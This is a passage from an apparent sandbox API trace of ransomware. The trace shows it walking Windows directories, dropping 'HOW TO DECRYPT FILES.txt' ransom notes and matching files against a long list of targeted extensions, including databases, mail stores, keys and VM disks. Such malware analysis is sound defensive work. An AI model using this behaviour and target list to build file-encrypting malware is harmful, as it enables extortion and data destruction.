dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.254] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.254] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.254] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x674414e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x674414e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x674414e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="780e5b2898b2cd49f5823dffac3b5e93", cAlternateFileName="780E5B~1")) returned 1 [0112.254] lstrcmpA (lpString1=".", lpString2="780e5b2898b2cd49f5823dffac3b5e93") returned -1 [0112.254] lstrcmpA (lpString1="..", lpString2="780e5b2898b2cd49f5823dffac3b5e93") returned -1 [0112.254] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\*.*") returned="*.*" [0112.254] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\", lpString2="780e5b2898b2cd49f5823dffac3b5e93" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93" [0112.254] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x674414e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x674414e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x674414e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.255] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.255] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x674414e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x674414e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x674414e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.256] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.256] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.256] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x311ed631, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x311ed631, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xeaff7b82, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x175a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SrpUxSnapIn.ni.dll", cAlternateFileName="SRPUXS~1.DLL")) returned 1 [0112.256] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.256] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SrpUxSnapIn.ni.dll") returned -1 [0112.256] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SrpUxSnapIn.ni.dll") returned -1 [0112.256] lstrcmpiA (lpString1="", lpString2="SrpUxSnapIn.ni.dll") returned -1 [0112.256] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\*.*") returned="*.*" [0112.256] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\" [0112.256] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\") returned="" [0112.256] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\HOW TO DECRYPT FILES.txt" [0112.256] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\srpuxsnapin\\780e5b2898b2cd49f5823dffac3b5e93\\how to decrypt files.txt")) returned 0xffffffff [0112.256] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\srpuxsnapin\\780e5b2898b2cd49f5823dffac3b5e93\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.257] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.258] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.258] CloseHandle (hObject=0x90) returned 1 [0112.258] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\", lpString2="SrpUxSnapIn.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll" [0112.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.ems") returned 0 [0112.259] lstrlenA (lpString="*.ems") returned 5 [0112.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.db") returned 0 [0112.259] lstrlenA (lpString="*.db") returned 4 [0112.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.dbf") returned 0 [0112.259] lstrlenA (lpString="*.dbf") returned 5 [0112.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.myox") returned 0 [0112.259] lstrlenA (lpString="*.myox") returned 6 [0112.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.myo") returned 0 [0112.259] lstrlenA (lpString="*.myo") returned 5 [0112.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.qbw") returned 0 [0112.259] lstrlenA (lpString="*.qbw") returned 5 [0112.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.qbb") returned 0 [0112.259] lstrlenA (lpString="*.qbb") returned 5 [0112.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.qbm") returned 0 [0112.259] lstrlenA (lpString="*.qbm") returned 5 [0112.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.qbo") returned 0 [0112.259] lstrlenA (lpString="*.qbo") returned 5 [0112.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.qbx") returned 0 [0112.259] lstrlenA (lpString="*.qbx") returned 5 [0112.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.qba") returned 0 [0112.259] lstrlenA (lpString="*.qba") returned 5 [0112.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.qby") returned 0 [0112.259] lstrlenA (lpString="*.qby") returned 5 [0112.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.qbj") returned 0 [0112.259] lstrlenA (lpString="*.qbj") returned 5 [0112.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.ofx") returned 0 [0112.259] lstrlenA (lpString="*.ofx") returned 5 [0112.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.qif") returned 0 [0112.259] lstrlenA (lpString="*.qif") returned 5 [0112.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.mye") returned 0 [0112.259] lstrlenA (lpString="*.mye") returned 5 [0112.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.mbox") returned 0 [0112.260] lstrlenA (lpString="*.mbox") returned 6 [0112.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.eml") returned 0 [0112.260] lstrlenA (lpString="*.eml") returned 5 [0112.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.pst") returned 0 [0112.260] lstrlenA (lpString="*.pst") returned 5 [0112.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.ost") returned 0 [0112.260] lstrlenA (lpString="*.ost") returned 5 [0112.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.idx") returned 0 [0112.260] lstrlenA (lpString="*.idx") returned 5 [0112.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.dbx") returned 0 [0112.260] lstrlenA (lpString="*.dbx") returned 5 [0112.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.sql") returned 0 [0112.260] lstrlenA (lpString="*.sql") returned 5 [0112.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.mdb") returned 0 [0112.260] lstrlenA (lpString="*.mdb") returned 5 [0112.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.fdb") returned 0 [0112.260] lstrlenA (lpString="*.fdb") returned 5 [0112.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.wab") returned 0 [0112.260] lstrlenA (lpString="*.wab") returned 5 [0112.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.dat") returned 0 [0112.260] lstrlenA (lpString="*.dat") returned 5 [0112.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.txt") returned 0 [0112.260] lstrlenA (lpString="*.txt") returned 5 [0112.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.jpeg") returned 0 [0112.260] lstrlenA (lpString="*.jpeg") returned 6 [0112.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.jpg") returned 0 [0112.260] lstrlenA (lpString="*.jpg") returned 5 [0112.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.png") returned 0 [0112.260] lstrlenA (lpString="*.png") returned 5 [0112.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.php") returned 0 [0112.260] lstrlenA (lpString="*.php") returned 5 [0112.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.cs") returned 0 [0112.261] lstrlenA (lpString="*.cs") returned 4 [0112.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.cpp") returned 0 [0112.261] lstrlenA (lpString="*.cpp") returned 5 [0112.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.rar") returned 0 [0112.261] lstrlenA (lpString="*.rar") returned 5 [0112.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.zip") returned 0 [0112.261] lstrlenA (lpString="*.zip") returned 5 [0112.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.html") returned 0 [0112.261] lstrlenA (lpString="*.html") returned 6 [0112.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.htm") returned 0 [0112.261] lstrlenA (lpString="*.htm") returned 5 [0112.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.xlsx") returned 0 [0112.261] lstrlenA (lpString="*.xlsx") returned 6 [0112.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.xls") returned 0 [0112.261] lstrlenA (lpString="*.xls") returned 5 [0112.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.mp4") returned 0 [0112.261] lstrlenA (lpString="*.mp4") returned 5 [0112.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.ppt") returned 0 [0112.261] lstrlenA (lpString="*.ppt") returned 5 [0112.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.pptx") returned 0 [0112.261] lstrlenA (lpString="*.pptx") returned 6 [0112.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.doc") returned 0 [0112.261] lstrlenA (lpString="*.doc") returned 5 [0112.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.dot") returned 0 [0112.261] lstrlenA (lpString="*.dot") returned 5 [0112.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.docx") returned 0 [0112.261] lstrlenA (lpString="*.docx") returned 6 [0112.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.7z") returned 0 [0112.262] lstrlenA (lpString="*.7z") returned 4 [0112.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.tar") returned 0 [0112.262] lstrlenA (lpString="*.tar") returned 5 [0112.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.bz2") returned 0 [0112.262] lstrlenA (lpString="*.bz2") returned 5 [0112.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.gz") returned 0 [0112.262] lstrlenA (lpString="*.gz") returned 4 [0112.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.mkv") returned 0 [0112.262] lstrlenA (lpString="*.mkv") returned 5 [0112.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.eml") returned 0 [0112.262] lstrlenA (lpString="*.eml") returned 5 [0112.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.msg") returned 0 [0112.262] lstrlenA (lpString="*.msg") returned 5 [0112.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.edb") returned 0 [0112.262] lstrlenA (lpString="*.edb") returned 5 [0112.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.accdb") returned 0 [0112.262] lstrlenA (lpString="*.accdb") returned 7 [0112.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.odb") returned 0 [0112.262] lstrlenA (lpString="*.odb") returned 5 [0112.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.java") returned 0 [0112.262] lstrlenA (lpString="*.java") returned 6 [0112.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.asm") returned 0 [0112.262] lstrlenA (lpString="*.asm") returned 5 [0112.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.pfx") returned 0 [0112.263] lstrlenA (lpString="*.pfx") returned 5 [0112.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.pem") returned 0 [0112.263] lstrlenA (lpString="*.pem") returned 5 [0112.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.p12") returned 0 [0112.263] lstrlenA (lpString="*.p12") returned 5 [0112.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.gpg") returned 0 [0112.263] lstrlenA (lpString="*.gpg") returned 5 [0112.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.vsd") returned 0 [0112.263] lstrlenA (lpString="*.vsd") returned 5 [0112.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.odg") returned 0 [0112.263] lstrlenA (lpString="*.odg") returned 5 [0112.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.raw") returned 0 [0112.263] lstrlenA (lpString="*.raw") returned 5 [0112.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.nef") returned 0 [0112.263] lstrlenA (lpString="*.nef") returned 5 [0112.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.svg") returned 0 [0112.263] lstrlenA (lpString="*.svg") returned 5 [0112.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.psd") returned 0 [0112.263] lstrlenA (lpString="*.psd") returned 5 [0112.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.vmx") returned 0 [0112.263] lstrlenA (lpString="*.vmx") returned 5 [0112.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.vmdk") returned 0 [0112.263] lstrlenA (lpString="*.vmdk") returned 6 [0112.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.vdi") returned 0 [0112.264] lstrlenA (lpString="*.vdi") returned 5 [0112.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.lay6") returned 0 [0112.264] lstrlenA (lpString="*.lay6") returned 6 [0112.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SrpUxSnapIn\\780e5b2898b2cd49f5823dffac3b5e93\\SrpUxSnapIn.ni.dll", pszSpec="*.mpeg") returned 0 [0112.264] lstrlenA (lpString="*.mpeg") returned 6 [0112.264] 